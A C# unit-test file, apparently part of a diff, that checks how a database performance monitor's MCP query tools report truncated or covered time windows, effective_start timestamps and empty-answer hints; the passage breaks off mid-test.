+public sealed class McpWindowNoticeToolTests : IDisposable
+{
+    private const string ServerName = "NoticeServer";
+    private readonly int _serverId;
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly PendingSeedSession _seed;
+    private readonly ServerManager _serverManager;
+    private long _nextId = 1;
+
+    public McpWindowNoticeToolTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "McpWindowNotice_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(Path.Combine(_tempDir, "config"));
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _seed = new PendingSeedSession(_duckDb);
+
+        _serverManager = new ServerManager(Path.Combine(_tempDir, "config"));
+        var server = new ServerConnection { ServerName = ServerName, DisplayName = ServerName };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seed.Dispose();
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    /// <summary>Reads a payload's instant as UTC whether or not it carries a trailing Z (the store's own frame has none).</summary>
+    private static DateTime ParseUtc(string text) =>
+        DateTime.Parse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+
+    private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
+
+    private LocalDataService Service()
+    {
+        _seed.Flush();
+        return new(_duckDb);
+    }
+
+    /* ───────────────────────── the helper ───────────────────────── */
+
+    /// <summary>
+    /// #4966: the zone marker on effective_start does not depend on the flag beside it. The floor comes off the store as
+    /// a naive instant and the requested start is already UTC, and only the second used to print a trailing Z, so a cut
+    /// window read without one and a covered window with one. Both end in Z now and name the same instants as before.
+    /// </summary>
+    [Fact]
+    public void WindowNotice_EffectiveStart_EndsInZ_WhetherTheWindowWasCutOrCovered()
+    {
+        var start = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+        var cut = McpQueryTools.WindowNotice(Naive(start.AddDays(2)), start, "query_snapshots");
+        var covered = McpQueryTools.WindowNotice(null, start, "query_snapshots");
+        var insideSlack = McpQueryTools.WindowNotice(Naive(start.AddMinutes(60)), start, "query_snapshots");
+
+        Assert.True(cut.WindowTruncated);
+        Assert.False(covered.WindowTruncated);
+        Assert.False(insideSlack.WindowTruncated);
+        Assert.Equal("2026-09-03T00:00:00.0000000Z", cut.EffectiveStart);
+        Assert.Equal("2026-09-01T00:00:00.0000000Z", covered.EffectiveStart);
+        /* No cut, but the served start is the floor, which used to print with no Z beside the flag's false. */
+        Assert.Equal("2026-09-01T01:00:00.0000000Z", insideSlack.EffectiveStart);
+    }
+
+    /// <summary>listOnly (get_plan_corrections beside a tuning snapshot): a null floor is NOT covered, a floor keeps the plain notice.</summary>
+    [Fact]
+    public void WindowNotice_ListOnly_NullFloor_SaysNoWindowedRowsWereRead_AFloorKeepsThePlainNote()
+    {
+        var start = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+        var none = McpQueryTools.WindowNotice(null, start, "plan_correction", emptyAnswer: false, listOnly: true);
+        var cut = McpQueryTools.WindowNotice(Naive(start.AddDays(2)), start, "plan_correction", emptyAnswer: false, listOnly: true);
+        var covered = McpQueryTools.WindowNotice(null, start, "plan_correction");
+
+        Assert.True(none.WindowTruncated);
+        Assert.Null(none.EffectiveStart);
+        Assert.StartsWith("The store holds no collection of plan_correction for this server in this window, so no windowed rows were read, and a list with no rows is not a report that nothing happened. ", none.TruncationNote);
+        Assert.True(cut.WindowTruncated);
+        Assert.StartsWith("The window reaches further back than this server's raw plan_correction retains", cut.TruncationNote);
+        Assert.False(covered.WindowTruncated);
+    }
+
+    /// <summary>The one formatter every window-floor payload writes effective_start through, in both apps (now in the
+    /// shared McpHelpers), sets the kind and never shifts the instant.</summary>
+    [Fact]
+    public void FormatEffectiveStart_NamesTheInstantAsUtc_WhicheverKindItCameWith()
+    {
+        var instant = new DateTime(2026, 9, 3, 4, 5, 6, 789, DateTimeKind.Unspecified);
+
+        Assert.Equal("2026-09-03T04:05:06.7890000Z", PerformanceMonitor.Common.McpHelpers.FormatEffectiveStart(instant));
+        Assert.Equal("2026-09-03T04:05:06.7890000Z", PerformanceMonitor.Common.McpHelpers.FormatEffectiveStart(DateTime.SpecifyKind(instant, DateTimeKind.Utc)));
+    }
+
+    [Fact]
+    public void WindowNotice_AFloorPastTheSlack_IsTruncated_AtTheFloor_NamingTheTable()
+    {
+        var start = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+        var floor = Naive(start.AddDays(2));
+
+        var notice = McpQueryTools.WindowNotice(floor, start, "query_snapshots");
+
+        Assert.True(notice.WindowTruncated);
+        /* #4966: this assertion pinned the floor's own naive spelling, with no zone marker. The payload now names it as
+           UTC, with the trailing Z a covered window's requested start has always carried; the instant is unchanged. */
+        Assert.Equal(DateTime.SpecifyKind(floor, DateTimeKind.Utc).ToString("o"), notice.EffectiveStart);
+        Assert.EndsWith("Z", notice.EffectiveStart, StringComparison.Ordinal);
+        Assert.Equal(floor, ParseUtc(notice.EffectiveStart!));
+        Assert.NotNull(notice.TruncationNote);
+        Assert.Contains("raw query_snapshots retains", notice.TruncationNote, StringComparison.Ordinal);
+        Assert.EndsWith("so the older part of it was not read.", notice.TruncationNote, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void WindowNotice_ACoveredWindow_IsNotTruncated_AndTheNoteIsNull()
+    {
+        var start = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+        /* No row in the window, a floor at the start (the probe's "served whole"), and a floor inside the
+           ninety-minute slack: none of them is a cut, and each keeps the requested start. */
+        foreach (var floor in new DateTime?[] { null, start, Naive(start.AddMinutes(60)) })
+        {
+            var notice = McpQueryTools.WindowNotice(floor, start, "waiting_tasks");
+            Assert.False(notice.WindowTruncated);
+            Assert.Null(notice.TruncationNote);
+            Assert.EndsWith("Z", notice.EffectiveStart, StringComparison.Ordinal);
+        }
+
+        /* A floor inside the slack is no cut, but it still moves the served start onto the floor (the clamp only stops
+           it going earlier than asked), and that instant carries the Z too. */
+        var insideSlack = Naive(start.AddMinutes(60));
+        Assert.Equal(insideSlack, ParseUtc(McpQueryTools.WindowNotice(insideSlack, start, "waiting_tasks").EffectiveStart!));
+
+        Assert.Equal(start.ToString("o"), McpQueryTools.WindowNotice(null, start, "waiting_tasks").EffectiveStart);
+        Assert.Equal(start.ToString("o"), McpQueryTools.WindowNotice(start, start, "waiting_tasks").EffectiveStart);
+    }
+
+    [Fact]
+    public void WindowNotice_AToolsOwnSentence_RidesOnlyOnATruncatedNote()
+    {
+        var start = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+        var truncated = McpQueryTools.WindowNotice(Naive(start.AddDays(1)), start, "query_store_stats", "Its own sentence.");
+        var covered = McpQueryTools.WindowNotice(start, start, "query_store_stats", "Its own sentence.");
+
+        Assert.EndsWith(" Its own sentence.", truncated.TruncationNote, StringComparison.Ordinal);
+        Assert.Null(covered.TruncationNote);
+    }
+
+    /* ───────────────────────── get_active_queries (query_snapshots, by coverage) ───────────────────────── */
+
+    [Fact]
+    public async Task GetActiveQueries_RowsStartInsideTheWindow_ReportTheFloor()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-2);
+        await SeedSnapshotAsync(floor);
+        await SeedSnapshotAsync(now.AddDays(-1));
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertTruncatedAt(root, floor, "query_snapshots");
+    }
+
+    [Fact]
+    public async Task GetActiveQueries_AnOlderRowBeforeTheWindow_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedSnapshotAsync(now.AddDays(-8));
+        await SeedSnapshotAsync(now.AddDays(-2));
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertCovered(root, now.AddHours(-168));
+    }
+
+    [Fact]
+    public async Task GetActiveQueries_AQuietStart_TheCollectorRanFromTheWindowsStart_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        /* The collector ran every half hour from before the window began; the first snapshot is two days in.
+           A server idle overnight looks exactly like this, and a rows-only probe would call it truncated. */
+        await SeedLogRunsAsync("query_snapshots", now.AddHours(-168 - 1), now, everyMinutes: 30);
+        await SeedSnapshotAsync(now.AddDays(-2));
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertCovered(root, now.AddHours(-168));
+    }
+
+    [Fact]
+    public async Task GetActiveQueries_AFilledPage_StillReportsThePageCut_BesideTheCoverage()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedSnapshotAsync(now.AddHours(-30));
+        await SeedSnapshotAsync(now.AddHours(-3));
+        await SeedSnapshotAsync(now.AddHours(-2));
+        await SeedSnapshotAsync(now.AddHours(-1));
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 24, limit: 2));
+
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(2, root.GetProperty("snapshots_returned").GetInt32());
+        AssertCovered(root, now.AddHours(-24));
+    }
+
+    /* ───────────────────────── get_waiting_tasks (waiting_tasks, by coverage) ───────────────────────── */
+
+    [Fact]
+    public async Task GetWaitingTasks_RowsStartInsideTheWindow_ReportTheFloor()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-2);
+        await SeedWaitingTaskAsync(floor);
+        await SeedWaitingTaskAsync(now.AddDays(-1));
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertTruncatedAt(root, floor, "waiting_tasks");
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AnOlderRowBeforeTheWindow_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedWaitingTaskAsync(now.AddDays(-8));
+        await SeedWaitingTaskAsync(now.AddDays(-2));
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertCovered(root, now.AddHours(-168));
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AQuietStart_TheCollectorRanFromTheWindowsStart_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        /* Nothing waits for hours on a quiet server: the first row comes two days into the window while the
+           collector has been running since before it. */
+        await SeedLogRunsAsync("waiting_tasks", now.AddHours(-168 - 1), now, everyMinutes: 30);
+        await SeedWaitingTaskAsync(now.AddDays(-2));
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertCovered(root, now.AddHours(-168));
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AFilledPage_StillReportsThePageCut_BesideTheCoverage()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedWaitingTaskAsync(now.AddHours(-30));
+        await SeedWaitingTaskAsync(now.AddHours(-3));
+        await SeedWaitingTaskAsync(now.AddHours(-2));
+        await SeedWaitingTaskAsync(now.AddHours(-1));
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 24, limit: 2));
+
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(2, root.GetProperty("tasks_returned").GetInt32());
+        AssertCovered(root, now.AddHours(-24));
+    }
+
+    /* ───────────────────────── get_query_store_regressions (query_store_stats, against the baseline's start) ───────────────────────── */
+
+    [Fact]
+    public async Task GetQueryStoreRegressions_TheBaselineStartsInsideTheSevenDays_ReportsTheFloor()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        /* The baseline is the seven days before the 24-hour window: it starts 8 days back, and the store's first
+           row is 3 days back, so the baseline holds two of its seven days and nothing else says so. */
+        var floor = now.AddDays(-3);
+        await SeedRegressionAsync(floor, queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 3000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24));
+
+        Assert.Equal(1, root.GetProperty("regression_count").GetInt32());
+        AssertTruncatedAt(root, floor, "query_store_stats");
+        Assert.Contains("baseline_start", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task GetQueryStoreRegressions_AnOlderRowBeforeTheBaseline_IsCovered_AtTheBaselinesStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedRegressionAsync(now.AddDays(-9), queryId: 2, avgUs: 1000, intervalId: 3);
+        await SeedRegressionAsync(now.AddDays(-3), queryId: 1, avgUs: 1000, intervalId: 1);
+        await SeedRegressionAsync(now.AddHours(-1), queryId: 1, avgUs: 3000, intervalId: 2);
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24));
+
+        Assert.Equal(1, root.GetProperty("regression_count").GetInt32());
+        AssertCovered(root, now.AddHours(-24 - 7 * 24));
+        /* Checked against the EARLIER window's start: the covered answer is the baseline's own start. */
+        Assert.Equal(root.GetProperty("baseline_start").GetString(), root.GetProperty("effective_start").GetString());
+    }
+
+    [Fact]
+    public async Task GetQueryStoreRegressions_AFilledPage_StillReportsThePageCut_BesideTheCoverage()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedRegressionAsync(now.AddDays(-9), queryId: 9, avgUs: 1000, intervalId: 9);
+        foreach (var queryId in new long[] { 1, 2 })
+        {
+            await SeedRegressionAsync(now.AddDays(-3), queryId, avgUs: 1000, intervalId: 10 + queryId);
+            await SeedRegressionAsync(now.AddHours(-1), queryId, avgUs: 3000, intervalId: 20 + queryId);
+        }
+
+        var root = Root(await McpQueryTools.GetQueryStoreRegressions(Service(), _serverManager, ServerName, hours_back: 24, limit: 1));
+
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(1, root.GetProperty("regression_count").GetInt32());
+        AssertCovered(root, now.AddHours(-24 - 7 * 24));
+    }
+
+    /* ───────────────────────── get_query_heatmap (query_stats) ───────────────────────── */
+
+    /// <summary>#4966: an idle grid over a cut window carries the shared cut sentence, not the "idle" reading.</summary>
+    [Fact]
+    public async Task GetQueryHeatmap_AnIdleGrid_OverACutWindow_CarriesTheCutSentence()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedIdleQueryStatsAsync(now.AddDays(-2), "0xI1");
+        await SeedIdleQueryStatsAsync(now.AddDays(-1), "0xI2");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.True(EmptyHints(root).GetProperty("window_truncated").GetBoolean());
+        Assert.NotEqual(JsonValueKind.Null, EmptyHints(root).GetProperty("effective_start").ValueKind);
+        var message = root.GetProperty("message").GetString()!;
+        Assert.StartsWith("Query stats WERE collected for ", message, StringComparison.Ordinal);
+        Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage + " Delta-based collection also needs a SECOND cycle before the first non-zero row exists.", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("up and idle", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>#4966: a database_name filter is exempt: over the same cut window its empty grid keeps the sentence that names the filter as a cause.</summary>
+    [Fact]
+    public async Task GetQueryHeatmap_AFilteredIdleGrid_OverACutWindow_KeepsItsOwnSentence()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedIdleQueryStatsAsync(now.AddDays(-2), "0xI1");
+        await SeedIdleQueryStatsAsync(now.AddDays(-1), "0xI2");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168, database_name: "Db"));
+
+        Assert.True(EmptyHints(root).GetProperty("window_truncated").GetBoolean());
+        Assert.Contains("a database_name filter matching nothing collected", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+        Assert.DoesNotContain("Nothing in the part of the window", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+    }
+
+    /// <summary>#4966: the same idle grid over a covered window keeps its "idle" sentence.</summary>
+    [Fact]
+    public async Task GetQueryHeatmap_AnIdleGrid_OverACoveredWindow_KeepsTheIdleSentence()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedIdleQueryStatsAsync(now.AddHours(-167.9), "0xI1");
+        await SeedIdleQueryStatsAsync(now.AddDays(-1), "0xI2");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.False(EmptyHints(root).GetProperty("window_truncated").GetBoolean());
+        var message = root.GetProperty("message").GetString()!;
+        Assert.Contains("WERE collected", message, StringComparison.Ordinal);
+        /* Both branches carry the factual sentence; only the covered one ends in the idle claim. */
+        Assert.EndsWith(". A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected. Delta-based collection also needs a SECOND cycle before the first non-zero row exists.", message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task GetQueryHeatmap_RowsStartInsideTheWindow_ReportTheFloor()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-2);
+        await SeedQueryStatsAsync(floor, "0xH1");
+        await SeedQueryStatsAsync(now.AddDays(-1), "0xH2");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168));
+
+        Assert.True(root.GetProperty("cell_count").GetInt32() > 0);
+        AssertTruncatedAt(root, floor, "query_stats");
+    }
+
+    [Fact]
+    public async Task GetQueryHeatmap_AnOlderRowBeforeTheWindow_IsCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedQueryStatsAsync(now.AddDays(-8), "0xH0");
+        await SeedQueryStatsAsync(now.AddDays(-2), "0xH1");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 168));
+
+        Assert.True(root.GetProperty("cell_count").GetInt32() > 0);
+        AssertCovered(root, now.AddHours(-168));
+    }
+
+    [Fact]
+    public async Task GetQueryHeatmap_AFilledGrid_StillReportsTheCellCap_BesideTheCoverage()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedQueryStatsAsync(now.AddHours(-30), "0xH0");
+        /* Three captures in three different bins: three cells, against a cap of two. */
+        await SeedQueryStatsAsync(now.AddHours(-3), "0xH1");
+        await SeedQueryStatsAsync(now.AddHours(-2), "0xH2");
+        await SeedQueryStatsAsync(now.AddHours(-1), "0xH3");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 24, limit: 2));
+
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        AssertCovered(root, now.AddHours(-24));
+    }
+
+    /* ───────────────────────── a window the slack covers needs no probe ───────────────────────── */
+
+    /// <summary>
+    /// #4966: a window of 90 minutes or less can never be called cut by the store (the probe cannot find a floor later
+    /// than the start by more than the slack), so the helper does not start the probe for one, as the Lite tabs' banner
+    /// step does not. The answer is the covered one, at the start that was asked for.
+    /// </summary>
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task WindowNoticeAsync_AWindowOf90MinutesOrLess_MakesNoProbeCall_AndIsCovered(int minutes)
+    {
+        var end = DateTime.UtcNow;
+        var start = end.AddMinutes(-minutes);
+        var probes = 0;
+
+        var notice = await McpQueryTools.WindowNoticeAsync(
+            () => { probes++; return Task.FromResult<DateTime?>(Naive(start.AddMinutes(30))); },
+            start, end, "query_snapshots");
+
+        Assert.Equal(0, probes);
+        Assert.False(notice.WindowTruncated);
+        Assert.Null(notice.TruncationNote);
+        Assert.Equal(PerformanceMonitor.Common.McpHelpers.FormatEffectiveStart(start), notice.EffectiveStart);
+    }
+
+    [Fact]
+    public async Task WindowNoticeAsync_AWindowPastTheSlack_AsksTheProbeOnce_AndReadsItsFloor()
+    {
+        var end = DateTime.UtcNow;
+        var start = end.AddHours(-2);
+        var floor = Naive(start.AddMinutes(100));
+        var probes = 0;
+
+        var notice = await McpQueryTools.WindowNoticeAsync(
+            () => { probes++; return Task.FromResult<DateTime?>(floor); },
+            start, end, "query_snapshots");
+
+        Assert.Equal(1, probes);
+        Assert.True(notice.WindowTruncated);
+        Assert.Equal(PerformanceMonitor.Common.McpHelpers.FormatEffectiveStart(floor), notice.EffectiveStart);
+    }
+
+    /// <summary>
+    /// The first row sits 35 minutes into the hour: the probe would have answered that row and put effective_start 25
+    /// minutes after the window's start. With no probe the answer is the window's own start. The page cut never used
+    /// the probe: the newest two rows, with the older of them named by oldest_returned_collection_time (UTC, with the Z).
+    /// </summary>
+    [Fact]
+    public async Task GetActiveQueries_AOneHourWindow_MakesNoProbeCall_AndACappedPageStillNamesItsOldestRow()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedSnapshotAsync(now.AddMinutes(-35));
+        await SeedSnapshotAsync(now.AddMinutes(-25));
+        await SeedSnapshotAsync(now.AddMinutes(-15));
+        await SeedSnapshotAsync(now.AddMinutes(-5));
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 1, limit: 2));
+
+        AssertCovered(root, now.AddHours(-1));
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(2, root.GetProperty("snapshots_returned").GetInt32());
+        AssertOldestReturned(root, now.AddMinutes(-15));
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AOneHourWindow_MakesNoProbeCall_AndACappedPageStillNamesItsOldestRow()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedWaitingTaskAsync(now.AddMinutes(-35));
+        await SeedWaitingTaskAsync(now.AddMinutes(-25));
+        await SeedWaitingTaskAsync(now.AddMinutes(-15));
+        await SeedWaitingTaskAsync(now.AddMinutes(-5));
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 1, limit: 2));
+
+        AssertCovered(root, now.AddHours(-1));
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        Assert.Equal(2, root.GetProperty("tasks_returned").GetInt32());
+        AssertOldestReturned(root, now.AddMinutes(-15));
+    }
+
+    [Fact]
+    public async Task GetQueryHeatmap_AOneHourWindow_MakesNoProbeCall_AndIsCoveredAtTheWindowsStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedQueryStatsAsync(now.AddMinutes(-35), "0xH1");
+        await SeedQueryStatsAsync(now.AddMinutes(-15), "0xH2");
+
+        var root = Root(await McpQueryTools.GetQueryHeatmap(Service(), _serverManager, ServerName, hours_back: 1));
+
+        Assert.True(root.GetProperty("cell_count").GetInt32() > 0);
+        AssertCovered(root, now.AddHours(-1));
+    }
+
+    /* ───────────────────────── an empty answer says where the data starts too ───────────────────────── */
+
+    /// <summary>
+    /// #4966: an empty answer over a window the store does not reach back to is NOT a true negative: nothing in the
+    /// part of the window the store holds says nothing about the part it does not. The four tools wrote the three
+    /// window keys on a data answer only, so the empty one read as "nothing happened". An <c>empty</c> status now
+    /// carries <c>effective_start</c>, <c>window_truncated</c> and <c>truncation_note</c> under <c>hints</c>, the shape
+    /// <c>get_query_store_top</c>'s module miss already uses, with the data answer's values and wording. A status that
+    /// says the collector never ran (<c>not_collected</c>) keeps its shape.
+    /// </summary>
+    [Fact]
+    public async Task GetActiveQueries_AnEmptyWindowTheCollectorRanIn_PastCoverage_CarriesTheFloorAndTheNote()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        /* The collector ran every half hour for two days and nothing was running at any of them: the store holds
+           the last two days of a 7-day ask, and nothing but the three keys says the older five were never read. */
+        await SeedLogRunsAsync("query_snapshots", now.AddDays(-2), now, everyMinutes: 30);
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertTruncatedAt(EmptyHints(root), now.AddDays(-2), "query_snapshots");
+    }
+
+    [Fact]
+    public async Task GetActiveQueries_AFilteredMiss_PastCoverage_CarriesTheSameKeys()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var floor = now.AddDays(-2);
+        await SeedSnapshotAsync(floor);
+        await SeedSnapshotAsync(now.AddDays(-1));
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 168, database_name: "NoSuchDb"));
+
+        Assert.Contains("matched database_name 'NoSuchDb'", root.GetProperty("message").GetString(), StringComparison.Ordinal);
+        /* The probe is deliberately unfiltered: the floor is a property of the table, not of the filter that missed. */
+        AssertTruncatedAt(EmptyHints(root), floor, "query_snapshots");
+    }
+
+    [Fact]
+    public async Task GetActiveQueries_AFilteredMiss_OverACoveredRange_SaysCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedSnapshotAsync(now.AddDays(-8));
+        await SeedSnapshotAsync(now.AddDays(-2));
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 168, database_name: "NoSuchDb"));
+
+        AssertCovered(EmptyHints(root), now.AddHours(-168));
+    }
+
+    /// <summary>
+    /// #5015: an EMPTY answer is probed whatever the window's length, because nothing was read and the skip would answer
+    /// "covered" for it. A run 35 minutes into the hour is the floor, inside the slack: covered, and effective_start is
+    /// the run.
+    /// </summary>
+    [Fact]
+    public async Task GetActiveQueries_AnEmptyOneHourWindow_IsProbed_AndNamesTheFirstRunInIt()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedLogRunsAsync("query_snapshots", now.AddMinutes(-35), now.AddMinutes(-35), everyMinutes: 30);
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 1));
+
+        AssertCoveredFrom(EmptyHints(root), now.AddMinutes(-35));
+    }
+
+    /// <summary>
+    /// #5015, the ruling's RED: an empty answer over a 60-minute window with no run in it never says "covered". Nothing was
+    /// read, so the answer is NOT covered: no effective_start, and a note that the store holds no collection in the window.
+    /// </summary>
+    [Fact]
+    public async Task GetActiveQueries_AnEmptyOneHourWindow_WithNoRunInIt_IsNotCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 1));
+
+        AssertNothingHeld(EmptyHints(root), "query_snapshots");
+    }
+
+    /// <summary>#5015, RED: a server that was never collected has no row and no run in any window, so an empty answer is NOT covered.</summary>
+    [Fact]
+    public async Task GetActiveQueries_AnEmptyAnswer_OnAServerNeverCollected_IsNotCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await McpSessionTools.GetActiveQueries(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertNothingHeld(EmptyHints(root), "query_snapshots");
+    }
+
+    /// <summary>#5015, RED: runs 9 and 10 days old are not in a 168-hour window, so nothing waiting there is not a verdict on it.</summary>
+    [Fact]
+    public async Task GetWaitingTasks_AnEmptyWideWindow_WhoseRunsAreAllOlder_IsNotCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        await SeedLogRunsAsync("waiting_tasks", now.AddDays(-10), now.AddDays(-9), everyMinutes: 60);
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 168));
+
+        AssertNothingHeld(EmptyHints(root), "waiting_tasks");
+    }
+
+    [Fact]
+    public async Task GetWaitingTasks_AnEmptyOneHourWindow_WithNoRunInIt_IsNotCovered()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await McpWaitTools.GetWaitingTasks(Service(), _serverManager, ServerName, hours_back: 1));
+
+        AssertNothingHeld(EmptyHints(root), "waiting_tasks");
+    }
+
+    /// <summary>
+    /// #5015: the helper's own rule. An empty answer asks the probe even for a 60-minute window, and a null floor then reads
+    /// as NOT covered; the same null floor on an answer WITH rows keeps its old meaning (covered, at the asked-for start).
+    /// </summary>
+    [Fact]
+    public async Task WindowNoticeAsync_AnEmptyAnswerOver60Minutes_AsksTheProbe_AndANullFloorIsNotCovered()
+    {
+        var end = DateTime.UtcNow;
+        var start = end.AddMinutes(-60);
+        var probes = 0;
+
+        var empty = await McpQueryTools.WindowNoticeAsync(
+            () => { probes++; return Task.FromResult<DateTime?>(null); }, start, end, "query_snapshots", emptyAnswer: true);
+        var withRows = McpQueryTools.WindowNotice(null, start, "query_snapshots");
+
